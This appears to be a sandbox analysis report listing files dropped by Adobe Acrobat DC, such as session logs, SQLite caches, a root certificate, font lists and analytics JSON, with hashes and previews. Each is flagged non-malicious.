Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.214114218367349
Encrypted:	false
SSDEEP:	6:iO4g+q2Pwkn2nKuAl9OmbzNMxIFUtSm9AZZmwskdVkwOwkn2nKuAl9OmbzNMFLJ:7h+vYfHAa8jFUtJAZ/HdV5JfHAa84J
MD5:	9BEBAAC9DFA5E5230F7240431C61EE33
SHA1:	065E41C350CFF0CF5C0D8600932DF1C2D2D42D1F
SHA-256:	4B615A24CC3D993ADC6860304325CF3737AA813540E94116B7647FB6814FF748
SHA-512:	AE763B9A7D732A0D8367908F80C742E4775291844F8E8B02841F0F51956D6B9D8A2F8B0CB954A2663CAF4130155E512563663E8C7B65B20B4E7A07801B02E1C0
Malicious:	false
Preview:	2025/01/10-18:39:44.381 84c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-18:39:44.418 84c Recovering log #3.2025/01/10-18:39:44.437 84c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.214114218367349
Encrypted:	false
SSDEEP:	6:iO4g+q2Pwkn2nKuAl9OmbzNMxIFUtSm9AZZmwskdVkwOwkn2nKuAl9OmbzNMFLJ:7h+vYfHAa8jFUtJAZ/HdV5JfHAa84J
MD5:	9BEBAAC9DFA5E5230F7240431C61EE33
SHA1:	065E41C350CFF0CF5C0D8600932DF1C2D2D42D1F
SHA-256:	4B615A24CC3D993ADC6860304325CF3737AA813540E94116B7647FB6814FF748
SHA-512:	AE763B9A7D732A0D8367908F80C742E4775291844F8E8B02841F0F51956D6B9D8A2F8B0CB954A2663CAF4130155E512563663E8C7B65B20B4E7A07801B02E1C0
Malicious:	false
Preview:	2025/01/10-18:39:44.381 84c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-18:39:44.418 84c Recovering log #3.2025/01/10-18:39:44.437 84c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.445133295823013
Encrypted:	false
SSDEEP:	384:yezci5tsiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:rLs3OazzU89UTTgUL
MD5:	CF7A4DB1C934D6518798FBF87120B3A8
SHA1:	6F4523C9189C8A2E9207B13B1C67B0DFDAAE16C6
SHA-256:	07DF68C57EEDD3C024FF020244D3CD6E269F0E55FA3102C30D5E51BC1EF61772
SHA-512:	DF03A08656E77DAD3B8D6D030B7F0FF1C5EA6261853E277E0E97852B8180257B5CC4762DE1528B3BF2C52449226B05C1B029447DD3F0B3F079EE200F67FC4DBB
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.777403738844251
Encrypted:	false
SSDEEP:	48:7MFp/E2ioyV2ioy9oWoy1Cwoy1iKOioy1noy1AYoy1Wioy1hioybioy0oy1noy1P:7Opju2FhXKQ5zb9IVXEBodRBkz
MD5:	EBDC5652E8EE7E141E4A331F9AFE1656
SHA1:	FB37E68DE117F278426117F8FA8A0197B50ADC20
SHA-256:	C3ADB79D7D6B75226B6C15412EBD78EAA70C028032B6A52C380D91DDBC27B52B
SHA-512:	D6B7A72BB94373923398584487FDC5764AEB1FB93490B67CA38CF37F4BBAD17F1969CFCE718E0C216426160EDE558FE26555CEEE7448113AEF515FCE316F3E70
Malicious:	false
Preview:	.... .c........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFklPdvE+stfllXlE/HT8k7SzvNNX8RolJuRdxLlGB9lQRYwpDdt:kKAseT8yQNMa8RdWBwRd
MD5:	D4FE18D390D2A3FA463C2AD6FC3A4CF6
SHA1:	D02A5DF60CB4773ABD598C1F8A7BF2401662135A
SHA-256:	52F26EDD73281B3F184A282889008D9A9F6395F0F38833839C406A0939C9980A
SHA-512:	B2B56C2A9CE76E05A6CADEAB25CF3E098E1CB191E44DEAD289BAEE4AB4AFE2E5F200D60C389066073715D5A63B1D572E7C1656A60099DCA24A011FD7D0DFD249
Malicious:	false
Preview:	p...... ........<xO.c..(....................................................... ..........W....^...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.242990426783058
Encrypted:	false
SSDEEP:	6:kKNL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:FiDImsLNkPlE99SNxAhUe/3
MD5:	2D6F9FEFBD572887161FF6CDCFD45937
SHA1:	03E5E94D1C836069BA77CA269281EB0C31E4EFFB
SHA-256:	F69699907D049D394C7B890DD805DCB488088147F1B37D6A9EC9F80A40AFD494
SHA-512:	82E720CDAFB699E4AD2DDAC52A967C8E50A049B17586976027A32705B874ED25B92CD8AA64FA5308058789DB2D4679B2663938D042F6B62C589B02EE1383C40A
Malicious:	false
Preview:	p...... .............c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6480

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6480

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.364131290198704
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzIljteVQmPpVoZcg1vRcR0YUzqoAvJM3g98kUwPeUkwRe9:YvXKXuKPYZc0vrZGMbLUkee9
MD5:	6E7A62927A59B210B5D535EABE0EC21F
SHA1:	8DCC2C685ECBAFAAA8B710E60AE25A1B939BEC62
SHA-256:	6A9DF4492BD211EC3F951D2ABFC6FC06E3F58C01DF31741CA80E44670BF3D000
SHA-512:	82CBD8A4F3421F39100C1AC8347D745DAE5312BF253CEB91E65237029D027F63B341BECEE8F2582110441672686043A92B895B460F008BC5F072173605B31C48
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"13151400-ebfe-473c-a13b-714eaa06b408","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736728328849,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.312790814168587
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzIljteVQmPpVoZcg1vRcR0YUzqoAvJfBoTfXpnrPeUkwRe9:YvXKXuKPYZc0vrZGWTfXcUkee9
MD5:	C7D68D234B83D9CDDF41EAAE8D67298C
SHA1:	F3B3EFA8B42540D2C1A4BA61E13ECDA4DF94A10C
SHA-256:	3DB978DB9CF5572689A7A3FA8C7BF257903A9E6F09E50993816810B8FADB1E32
SHA-512:	765EB5D87ED86A8FF80474F9834F19ACAA52C679A283785EEC3BBA8C35C576E5373EA2870A53E0C8C63FD6F3CCB19D30BFED1E5EF2CAB488A44C26FCA5D05B0B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"13151400-ebfe-473c-a13b-714eaa06b408","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736728328849,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.292058608083257
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzIljteVQmPpVoZcg1vRcR0YUzqoAvJfBD2G6UpnrPeUkwRe9:YvXKXuKPYZc0vrZGR22cUkee9
MD5:	3E18C42E4608FB32E4927B810D256E9A
SHA1:	3FEC24F4042560A6EBD7E1D52ABE92FFDD1FABA6
SHA-256:	3AA26DB25D3EE2068F95B145022564EF7F7B79783F5C068EB0767D97503105E3
SHA-512:	1A61F32353B938468CCDF48DA446123C8FA00B6127694C1B6CFD708D28A3DDD426D208623758FF56F36D852200ECD7C046E85A357E54B8C367964D153FBDD6C8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"13151400-ebfe-473c-a13b-714eaa06b408","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736728328849,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.3511687403897055
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzIljteVQmPpVoZcg1vRcR0YUzqoAvJfPmwrPeUkwRe9:YvXKXuKPYZc0vrZGH56Ukee9
MD5:	3D3F6CC7DE495ED5C2A01965C2AF8BF9
SHA1:	04D0477A3FF2EA82D5B5D4ED5E9811363F0415F7
SHA-256:	6AB0E7D5B8DCBCF88D62A38F22710568785C0CC040EDB9C906980B46562D3D98
SHA-512:	F783668ACF74EAC5004770566FA8393A657BA9166AB0414FF27BF48B7FDC9D594300858521747D8FE1B329F8E05ED463E178BC9722F0E8ADEB7CBF243113B5F5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"13151400-ebfe-473c-a13b-714eaa06b408","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736728328849,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.691096218678255
Encrypted:	false
SSDEEP:	24:Yv6Xpgzvr+pLgE9cQx8LennAvzBvkn0RCmK8czOCCSJg:Yvdqhgy6SAFv5Ah8cv/m
MD5:	EE099FD6F88461DF301A15CEA5463A61
SHA1:	225FAD8F25CE3D1AF21F7C5744B373896A723957
SHA-256:	47523BD7A1C815DC2B8CAD13D3163382AB4DD4FD2A41FA9C01CF4F68108C3CFD
SHA-512:	4319AE3F8DAB08E9BD429AC9FAC0D8BE9408D0587C77751358BBD776AEC385D037FE4B4D39787A2B18E468724108623073AF8E3BF9162CB1040083637D20713E
Malicious:	false
